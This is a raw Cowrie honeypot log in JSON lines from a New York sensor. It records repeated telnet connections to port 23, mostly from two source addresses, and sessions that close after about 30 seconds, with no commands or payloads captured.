{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49350,"dst_ip":"10.17.0.5","dst_port":23,"session":"43d3b102f7d5","protocol":"telnet","message":"New connection: 208.115.200.90:49350 (10.17.0.5:23) [session: 43d3b102f7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:34.798426Z"}
{"eventid":"cowrie.session.closed","duration":31.53905749320984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:34.921355Z","src_ip":"208.115.200.90","session":"97472a163851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.083396196365356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.028415Z","src_ip":"208.115.219.122","session":"4938f2da9d76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.586890935897827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.045276Z","src_ip":"208.115.219.122","session":"923efa79f063","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49358,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dbf7c918dec","protocol":"telnet","message":"New connection: 208.115.200.90:49358 (10.17.0.5:23) [session: 1dbf7c918dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.156042Z"}
{"eventid":"cowrie.session.closed","duration":30.38851547241211,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.161381Z","src_ip":"208.115.200.90","session":"f90ec32e62a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.911890983581543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.166717Z","src_ip":"208.115.200.90","session":"a8835fafcfca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19277834892273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.254968Z","src_ip":"208.115.200.90","session":"3b20fee5e487","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49366,"dst_ip":"10.17.0.5","dst_port":23,"session":"cde563649331","protocol":"telnet","message":"New connection: 208.115.200.90:49366 (10.17.0.5:23) [session: cde563649331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.290740Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49376,"dst_ip":"10.17.0.5","dst_port":23,"session":"278bcfbc6cab","protocol":"telnet","message":"New connection: 208.115.200.90:49376 (10.17.0.5:23) [session: 278bcfbc6cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.538416Z"}
{"eventid":"cowrie.session.closed","duration":31.199912548065186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.645511Z","src_ip":"208.115.219.122","session":"ff390cbde7d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90408754348755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.686316Z","src_ip":"208.115.200.90","session":"8ff51293c8d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55626,"dst_ip":"10.17.0.5","dst_port":23,"session":"98c8f1d941e1","protocol":"telnet","message":"New connection: 208.115.219.122:55626 (10.17.0.5:23) [session: 98c8f1d941e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:35.967952Z"}
{"eventid":"cowrie.session.closed","duration":30.217045307159424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:36.043253Z","src_ip":"208.115.219.122","session":"c4df64d0521a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02195429801941,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:36.048639Z","src_ip":"208.115.219.122","session":"2026fdc620b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39561414718628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:36.053160Z","src_ip":"208.115.219.122","session":"2d2778691370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3515145778656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:36.114125Z","src_ip":"208.115.200.90","session":"720dd1ccfc6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49380,"dst_ip":"10.17.0.5","dst_port":23,"session":"5486c916f68d","protocol":"telnet","message":"New connection: 208.115.200.90:49380 (10.17.0.5:23) [session: 5486c916f68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:36.120810Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49392,"dst_ip":"10.17.0.5","dst_port":23,"session":"7aeb16ed759d","protocol":"telnet","message":"New connection: 208.115.200.90:49392 (10.17.0.5:23) [session: 7aeb16ed759d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:36.181092Z"}
{"eventid":"cowrie.session.closed","duration":30.632291316986084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:36.313189Z","src_ip":"208.115.200.90","session":"23e853dac3dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55636,"dst_ip":"10.17.0.5","dst_port":23,"session":"64248c202ebc","protocol":"telnet","message":"New connection: 208.115.219.122:55636 (10.17.0.5:23) [session: 64248c202ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:36.738372Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49396,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbf7818a48d1","protocol":"telnet","message":"New connection: 208.115.200.90:49396 (10.17.0.5:23) [session: cbf7818a48d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:36.764923Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49402,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a39639255b4","protocol":"telnet","message":"New connection: 208.115.200.90:49402 (10.17.0.5:23) [session: 8a39639255b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:36.920350Z"}
{"eventid":"cowrie.session.closed","duration":30.483919620513916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:37.013727Z","src_ip":"208.115.219.122","session":"ff5b10bffd65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.905554056167603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:37.060397Z","src_ip":"208.115.200.90","session":"139c63381d6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.257630586624146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:37.081244Z","src_ip":"208.115.200.90","session":"ffc4e59c7450","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55652,"dst_ip":"10.17.0.5","dst_port":23,"session":"0adb61a52c11","protocol":"telnet","message":"New connection: 208.115.219.122:55652 (10.17.0.5:23) [session: 0adb61a52c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:37.172203Z"}
{"eventid":"cowrie.session.closed","duration":31.118412494659424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:37.282612Z","src_ip":"208.115.200.90","session":"b1292d94d5cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49418,"dst_ip":"10.17.0.5","dst_port":23,"session":"0012de4df726","protocol":"telnet","message":"New connection: 208.115.200.90:49418 (10.17.0.5:23) [session: 0012de4df726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:37.518753Z"}
{"eventid":"cowrie.session.closed","duration":31.425190925598145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:37.648809Z","src_ip":"208.115.200.90","session":"7c57f65d9b05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20171546936035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:37.912061Z","src_ip":"208.115.200.90","session":"7ba0ad3d16bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01458191871643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:38.178614Z","src_ip":"208.115.200.90","session":"c7b438fd6340","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49422,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c64d38ecc88","protocol":"telnet","message":"New connection: 208.115.200.90:49422 (10.17.0.5:23) [session: 6c64d38ecc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:38.319223Z"}
{"eventid":"cowrie.session.closed","duration":30.55473566055298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:39.174145Z","src_ip":"208.115.200.90","session":"40e234b3db80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55666,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a2dcda264da","protocol":"telnet","message":"New connection: 208.115.219.122:55666 (10.17.0.5:23) [session: 0a2dcda264da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:39.184232Z"}
{"eventid":"cowrie.session.closed","duration":30.854905366897583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:39.232123Z","src_ip":"208.115.200.90","session":"77938cf89110","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16251516342163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:39.239099Z","src_ip":"208.115.200.90","session":"2708d9003f3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49428,"dst_ip":"10.17.0.5","dst_port":23,"session":"933019afae67","protocol":"telnet","message":"New connection: 208.115.200.90:49428 (10.17.0.5:23) [session: 933019afae67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:39.243457Z"}
{"eventid":"cowrie.session.closed","duration":31.178891897201538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:39.440509Z","src_ip":"208.115.200.90","session":"fae400bfe4af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49444,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fd329d9c093","protocol":"telnet","message":"New connection: 208.115.200.90:49444 (10.17.0.5:23) [session: 9fd329d9c093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:39.771941Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49446,"dst_ip":"10.17.0.5","dst_port":23,"session":"c19f03a5f68a","protocol":"telnet","message":"New connection: 208.115.200.90:49446 (10.17.0.5:23) [session: c19f03a5f68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.016398Z"}
{"eventid":"cowrie.session.closed","duration":30.48570990562439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.026225Z","src_ip":"208.115.219.122","session":"0724347d3449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10878610610962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.117625Z","src_ip":"208.115.200.90","session":"c2d369fcae2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81499171257019,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.186320Z","src_ip":"208.115.200.90","session":"f5011cc5f586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49462,"dst_ip":"10.17.0.5","dst_port":23,"session":"29d0ab975e24","protocol":"telnet","message":"New connection: 208.115.200.90:49462 (10.17.0.5:23) [session: 29d0ab975e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.226162Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49474,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f09d06b1bba","protocol":"telnet","message":"New connection: 208.115.200.90:49474 (10.17.0.5:23) [session: 3f09d06b1bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.242407Z"}
{"eventid":"cowrie.session.closed","duration":30.52533221244812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.273990Z","src_ip":"208.115.200.90","session":"446b0c2461b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49492,"dst_ip":"10.17.0.5","dst_port":23,"session":"002ab53a72b4","protocol":"telnet","message":"New connection: 208.115.200.90:49492 (10.17.0.5:23) [session: 002ab53a72b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.329808Z"}
{"eventid":"cowrie.session.closed","duration":30.86990761756897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.345262Z","src_ip":"208.115.200.90","session":"7c26d65940f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49494,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9c578639197","protocol":"telnet","message":"New connection: 208.115.200.90:49494 (10.17.0.5:23) [session: d9c578639197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.449173Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49500,"dst_ip":"10.17.0.5","dst_port":23,"session":"d11f002ce9be","protocol":"telnet","message":"New connection: 208.115.200.90:49500 (10.17.0.5:23) [session: d11f002ce9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.533280Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49512,"dst_ip":"10.17.0.5","dst_port":23,"session":"940db6ec0b90","protocol":"telnet","message":"New connection: 208.115.200.90:49512 (10.17.0.5:23) [session: 940db6ec0b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.719496Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49522,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ac4d21fd634","protocol":"telnet","message":"New connection: 208.115.200.90:49522 (10.17.0.5:23) [session: 7ac4d21fd634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:40.825071Z"}
{"eventid":"cowrie.session.closed","duration":30.450117588043213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:41.161484Z","src_ip":"208.115.200.90","session":"beafb87c038b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30358386039734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:41.166371Z","src_ip":"208.115.200.90","session":"de223807de30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49532,"dst_ip":"10.17.0.5","dst_port":23,"session":"f74061d1002f","protocol":"telnet","message":"New connection: 208.115.200.90:49532 (10.17.0.5:23) [session: f74061d1002f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:41.175925Z"}
{"eventid":"cowrie.session.closed","duration":31.27426052093506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:41.282822Z","src_ip":"208.115.200.90","session":"8193bf09a081","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.186.100.192","src_port":45292,"dst_ip":"10.17.0.5","dst_port":23,"session":"abadee927fcf","protocol":"telnet","message":"New connection: 105.186.100.192:45292 (10.17.0.5:23) [session: abadee927fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:41.310928Z"}
{"eventid":"cowrie.session.closed","duration":31.07738995552063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:41.420213Z","src_ip":"208.115.200.90","session":"efc63cfc0cc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49540,"dst_ip":"10.17.0.5","dst_port":23,"session":"70ba2fba8101","protocol":"telnet","message":"New connection: 208.115.200.90:49540 (10.17.0.5:23) [session: 70ba2fba8101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:41.570958Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49548,"dst_ip":"10.17.0.5","dst_port":23,"session":"f45052f4bda3","protocol":"telnet","message":"New connection: 208.115.200.90:49548 (10.17.0.5:23) [session: f45052f4bda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:41.654633Z"}
{"eventid":"cowrie.session.closed","duration":30.77114200592041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.061152Z","src_ip":"208.115.200.90","session":"194d6770be8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.797163009643555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.231404Z","src_ip":"208.115.200.90","session":"fd8e93bc624f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952346324920654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.287891Z","src_ip":"208.115.200.90","session":"c5b1fc259cb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49552,"dst_ip":"10.17.0.5","dst_port":23,"session":"90bb15162949","protocol":"telnet","message":"New connection: 208.115.200.90:49552 (10.17.0.5:23) [session: 90bb15162949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.322064Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49562,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7d4ca4c7e2d","protocol":"telnet","message":"New connection: 208.115.200.90:49562 (10.17.0.5:23) [session: d7d4ca4c7e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.393349Z"}
{"eventid":"cowrie.session.closed","duration":31.0422420501709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.398615Z","src_ip":"208.115.200.90","session":"4e3ea3822e4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.695810079574585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.441895Z","src_ip":"208.115.200.90","session":"10ddf554178c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49570,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc0f1c3fcb5d","protocol":"telnet","message":"New connection: 208.115.200.90:49570 (10.17.0.5:23) [session: cc0f1c3fcb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.506824Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49588,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f1c69ad9657","protocol":"telnet","message":"New connection: 208.115.200.90:49588 (10.17.0.5:23) [session: 0f1c69ad9657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.792511Z"}
{"eventid":"cowrie.session.closed","duration":31.472723245620728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.797820Z","src_ip":"208.115.200.90","session":"b39c5a36c012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.482860326766968,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.846636Z","src_ip":"103.130.119.74","session":"8a568e6ce363","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49590,"dst_ip":"10.17.0.5","dst_port":23,"session":"816aa1ec8753","protocol":"telnet","message":"New connection: 208.115.200.90:49590 (10.17.0.5:23) [session: 816aa1ec8753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:42.878638Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49606,"dst_ip":"10.17.0.5","dst_port":23,"session":"b20f0fef1a98","protocol":"telnet","message":"New connection: 208.115.200.90:49606 (10.17.0.5:23) [session: b20f0fef1a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.060734Z"}
{"eventid":"cowrie.session.closed","duration":30.825417518615723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.093756Z","src_ip":"208.115.200.90","session":"ccb4d55e1360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080801725387573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.155409Z","src_ip":"208.115.200.90","session":"927fce333ea1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55676,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ebee6ab5730","protocol":"telnet","message":"New connection: 208.115.219.122:55676 (10.17.0.5:23) [session: 5ebee6ab5730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.213294Z"}
{"eventid":"cowrie.session.closed","duration":30.702438831329346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.262292Z","src_ip":"208.115.200.90","session":"b4b7115d064e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49614,"dst_ip":"10.17.0.5","dst_port":23,"session":"758bf823d85b","protocol":"telnet","message":"New connection: 208.115.200.90:49614 (10.17.0.5:23) [session: 758bf823d85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.301001Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49630,"dst_ip":"10.17.0.5","dst_port":23,"session":"68a1eb517b0f","protocol":"telnet","message":"New connection: 208.115.200.90:49630 (10.17.0.5:23) [session: 68a1eb517b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.346693Z"}
{"eventid":"cowrie.session.closed","duration":30.504061222076416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.360813Z","src_ip":"208.115.200.90","session":"38e149f3fef3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":49632,"dst_ip":"10.17.0.5","dst_port":23,"session":"73806afacb27","protocol":"telnet","message":"New connection: 208.115.200.90:49632 (10.17.0.5:23) [session: 73806afacb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:43.477208Z"}
